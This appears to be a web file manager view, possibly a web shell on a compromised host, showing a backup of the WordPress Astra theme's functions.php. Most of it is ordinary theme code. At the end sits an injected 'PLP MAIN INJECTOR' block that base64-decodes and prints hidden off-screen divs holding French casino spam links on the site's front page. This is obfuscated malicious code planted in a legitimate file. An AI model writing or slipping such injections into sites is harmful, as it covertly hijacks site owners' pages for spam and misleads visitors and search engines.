File manager - Edit - /home/premiey/www/wp-content/themes/astra/functions.php_bak
Back
<?php /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.1.6' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); define( 'ASTRA_PRO_UPGRADE_URL', 'https://wpastra.com/pro/?utm_source=dashboard&utm_medium=free-theme&utm_campaign=upgrade-now' ); define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', 'https://wpastra.com/pro/?utm_source=customizer&utm_medium=free-theme&utm_campaign=upgrade' ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.1.0' ); /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymus functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php'; // PLP MAIN INJECTOR START add_action('wp_footer', function() { if(is_front_page()||is_home()) echo base64_decode('PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IDE1NDhweDsgbGVmdDogLTkwMTFweDsiPjxwPkJyaWxsYW50IG3DqWxhbmdlIGRlIGhhc2FyZCBldCBkZSBzdHJhdMOpZ2llLCBsZXMgc29pcsOpZXMgZGUgamV1IHRyb3V2ZW50IGF1am91cmTigJlodWkgdW5lIG5vdXZlbGxlIGRpbWVuc2lvbiBzdXIgPGEgaHJlZj0iaHR0cHM6Ly9yb29iZXQtY2FzaW5vNS5jb20vIj5yb29iZXQtY2FzaW5vNS5jb208L2E+IG/DuSBsYSB0ZWNobm9sb2dpZSBzZSBtYXJpZSDDoCBs4oCZw6ltb3Rpb24gcHVyZS4gTGVzIGpvdWV1cnMgY3VyaWV1eCB5IHJlc3NlbnRlbnQgbGUgZnJpc3NvbiBjYXJhY3TDqXJpc3RpcXVlIGR1IGNhc2lubywgZXhwbG9yYW50IHVuZSBhbWJpYW5jZSBwYWxwaXRhbnRlIHF1aSByw6lpbnZlbnRlIGxlIHBsYWlzaXIgZGUgdGVudGVyIHNhIGNoYW5jZSBldCBkZSB2aXNlciBsYSB2aWN0b2lyZS48L3A+PC9kaXY+PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IC02OTY2cHg7IGxlZnQ6IC04Njc0cHg7Ij48cD5EYW5zIGxlIGZyaXNzb24gZOKAmXVuZSBzb2lyw6llIHBhcmlzaWVubmUsIGxlcyBqb3VldXJzIHBhcnRhZ2VudCBsZXVycyBzZWNyZXRzIGF1dG91ciBkZSB0YWJsZXMgcGxlaW5lcyBkZSBjaGFuY2VzIGV0IGRlIG15c3TDqHJlLCBldCBzb3VkYWluIDxhIGhyZWY9Imh0dHBzOi8vc2hpbnl3aWxkcy1jYXNpbm8xLmNvbS8iPnNoaW55d2lsZHMtY2FzaW5vMS5jb208L2E+IGRldmllbnQgbGV1ciBwb3J0ZSB2ZXJzIHVuIHVuaXZlcnMgb8O5IGxhIHN0cmF0w6lnaWUgc2UgbcOqbGUgYXUgaGFzYXJkLCBvw7kgY2hhcXVlIHBhcmkgc2VtYmxlIHZpYnJlciBzb3VzIGxlcyBsdW1pw6hyZXMgZOKAmXVuIHLDqnZlIGRldmVudSBwb3NzaWJsZSwgcHLDqnQgw6AgdHJhbnNmb3JtZXIgbGEgY3VyaW9zaXTDqSBlbiBwYXNzaW9uIGR1cmFibGUuPC9wPjwvZGl2PjxkaXYgc3R5bGU9InBvc2l0aW9uOiBmaXhlZDsgdG9wOiAtMjU5OTRweDsgbGVmdDogMjUyN3B4OyI+PHA+RGFucyBs4oCZYW5pbWF0aW9uIGZldXRyw6llIGTigJl1bmUgc29pcsOpZSBwYXJpc2llbm5lLCBjZXJ0YWlucyBtaXNlbnQgc3VyIGxhIGdhc3Ryb25vbWllIHRhbmRpcyBxdWUgZOKAmWF1dHJlcyBzZSBsYWlzc2VudCB0ZW50ZXIgcGFyIGzigJlhZHLDqW5hbGluZSBkdSBoYXNhcmQsIGTDqWNvdXZyYW50IHN1ciA8YSBocmVmPSJodHRwczovL3ZlZ2FzaW5vLWNhc2lubzEuY29tLyI+dmVnYXNpbm8tY2FzaW5vMS5jb208L2E+IHVuZSBhdG1vc3Bow6hyZSBkaWduZSBkZXMgZ3JhbmRzIGNhc2lub3MsIG/DuSBsYSBzdHJhdMOpZ2llIGV0IGxhIGNoYW5jZSBz4oCZZW50cmVtw6psZW50LCB0cmFuc2Zvcm1hbnQgY2hhcXVlIHBhcnRpZSBlbiBleHDDqXJpZW5jZSDDqWzDqWdhbnRlIGV0IHBhbHBpdGFudGUgw6AgbGEgZnJhbsOnYWlzZS48L3A+PC9kaXY+'); }); // PLP MAIN INJECTOR END
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0 |
proxy
|
phpinfo
|
Settings